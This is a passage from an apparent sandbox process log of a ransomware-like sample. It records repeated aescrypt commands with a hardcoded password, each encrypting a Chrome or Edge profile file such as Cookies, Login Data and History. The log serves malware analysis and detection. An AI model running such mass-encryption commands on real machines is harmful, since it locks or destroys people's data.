  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\96.png"
  2⤵
  PID:7408
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\128.png"
  2⤵
  PID:4868
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\192.png"
  2⤵
  PID:1508
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\256.png"
  2⤵
  PID:2920
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\32.png"
  2⤵
  PID:5124
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\48.png"
  2⤵
  PID:5328
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\64.png"
  2⤵
  PID:5348
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\96.png"
  2⤵
  PID:4680
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\128.png"
  2⤵
  PID:3340
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\192.png"
  2⤵
  PID:2116
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\256.png"
  2⤵
  PID:512
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\32.png"
  2⤵
  PID:3236
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\48.png"
  2⤵
  PID:6048
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\64.png"
  2⤵
  PID:3332
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\96.png"
  2⤵
  PID:6760
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\128.png"
  2⤵
  PID:6916
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\192.png"
  2⤵
  PID:6964
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\256.png"
  2⤵
  PID:6980
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\32.png"
  2⤵
  PID:6932
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\48.png"
  2⤵
  PID:7480
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\64.png"
  2⤵
  PID:3168
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\96.png"
  2⤵
  PID:5156
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_0"
  2⤵
  PID:6132
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_1"
  2⤵
  PID:7008
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_2"
  2⤵
  PID:5268
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_3"
  2⤵
  PID:5256
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\index"
  2⤵
  PID:2688
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_0"
  2⤵
  PID:3692
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_1"
  2⤵
  PID:5424
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_2"
  2⤵
  PID:7536
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_3"
  2⤵
  PID:6596
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\index"
  2⤵
  PID:7544
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log"
  2⤵
  PID:7568
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log"
  2⤵
  PID:7728
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics-active.pma"
  2⤵
  PID:7084
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\edge_shutdown_ms.txt"
  2⤵
  PID:4436
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\First Run"
  2⤵
  PID:4912
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\FirstLaunchAfterInstallation"
  2⤵
  PID:1200
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Functional Data"
  2⤵
  PID:3424
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Functional Data-wal"
  2⤵
  PID:2500
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Functional SAN Data"
  2⤵
  PID:4400
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Functional SAN Data-wal"
  2⤵
  PID:4636
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Browser"
  2⤵
  PID:1448
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version"
  2⤵
  PID:460
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State"
  2⤵
  PID:2276
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-65DCB590-210.pma"
  2⤵
  PID:3584
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\metadata"
  2⤵
  PID:4524
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat"
  2⤵
  PID:4264
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\throttle_store.dat"
  2⤵
  PID:5068
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies"
  2⤵
  PID:2992
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies-journal"
  2⤵
  PID:5396
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico"
  2⤵
  PID:8668
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Favicons"
  2⤵
  PID:4480
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Favicons-journal"
  2⤵
  PID:4516
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\heavy_ad_intervention_opt_out.db"
  2⤵
  PID:1920
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\heavy_ad_intervention_opt_out.db-journal"
  2⤵
  PID:1872
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History"
  2⤵
  PID:9212
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History Provider Cache"
  2⤵
  PID:7440
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History-journal"
  2⤵
  PID:7448
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db"
  2⤵
  PID:7176
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\LOCK"
  2⤵
  PID:7916
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\LOG"
  2⤵
  PID:9140
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data"
  2⤵
  PID:9128
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-journal"
  2⤵
  PID:7992
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Microsoft Edge.lnk"
  2⤵
  PID:6764
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Action Predictor"
  2⤵
  PID:8084
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Action Predictor-journal"
  2⤵
  PID:7852
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State"
  2⤵
  PID:7920
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences"
  2⤵
  PID:8356
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\PreferredApps"
  2⤵
  PID:8312
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\README"
  2⤵
  PID:8380
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Reporting and NEL"
  2⤵
  PID:7804
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Reporting and NEL-journal"
  2⤵
  PID:8524
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences"
  2⤵
  PID:8512
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts"
  2⤵
  PID:8432
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts-journal"
  2⤵
  PID:8472
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Top Sites"
  2⤵
  PID:8608
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Top Sites-journal"
  2⤵
  PID:8596
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Visited Links"
  2⤵
  PID:8560
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data"
  2⤵
  PID:632
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data-journal"
  2⤵
  PID:8420
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\WebAssistDatabase"
  2⤵
  PID:8412
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\WebAssistDatabase-journal"
  2⤵
  PID:8620
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\AutofillStrikeDatabase\LOCK"
  2⤵
  PID:8692
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\AutofillStrikeDatabase\LOG"
  2⤵
  PID:8652
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BudgetDatabase\LOCK"
  2⤵
  PID:4184
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BudgetDatabase\LOG"
  2⤵
  PID:3088
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\data_0"
  2⤵
  PID:4600
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\data_1"
  2⤵
  PID:1364
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\data_2"
  2⤵
  PID:4404
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\data_3"
  2⤵
  PID:1500
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\index"
  2⤵
  PID:8552
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index"
  2⤵
  PID:8544
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index"
  2⤵
  PID:8672
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index"
  2⤵
  PID:8540
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index-dir\the-real-index"
  2⤵
  PID:8728
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\000003.log"
  2⤵
  PID:8784
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT"
  2⤵
  PID:8820
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\LOCK"
  2⤵
  PID:5080
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\LOG"
  2⤵
  PID:8736
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\MANIFEST-000002"
  2⤵
  PID:8748
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\EntryDB\LOCK"
  2⤵
  PID:8788
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\EntryDB\LOG"
  2⤵
  PID:8832
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey\LOCK"
  2⤵
  PID:8744
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey\LOG"
  2⤵
  PID:8884
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log"
  2⤵
  PID:8104
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\CURRENT"
  2⤵
  PID:8116
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOCK"
  2⤵
  PID:3280
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG"
  2⤵
  PID:8092
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\MANIFEST-000001"
  2⤵
  PID:2472
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOCK"
  2⤵
  PID:8132
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG"
  2⤵
  PID:8080
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\EventDB\LOCK"
  2⤵
  PID:2004
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\EventDB\LOG"
  2⤵
  PID:4828
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_0"
  2⤵
  PID:4996
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_1"
  2⤵
  PID:4832
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_2"
  2⤵
  PID:8368
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_3"
  2⤵
  PID:8256
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\index"
  2⤵
  PID:8232
- C:\Users\Admin\Desktop\aescrypt.exe
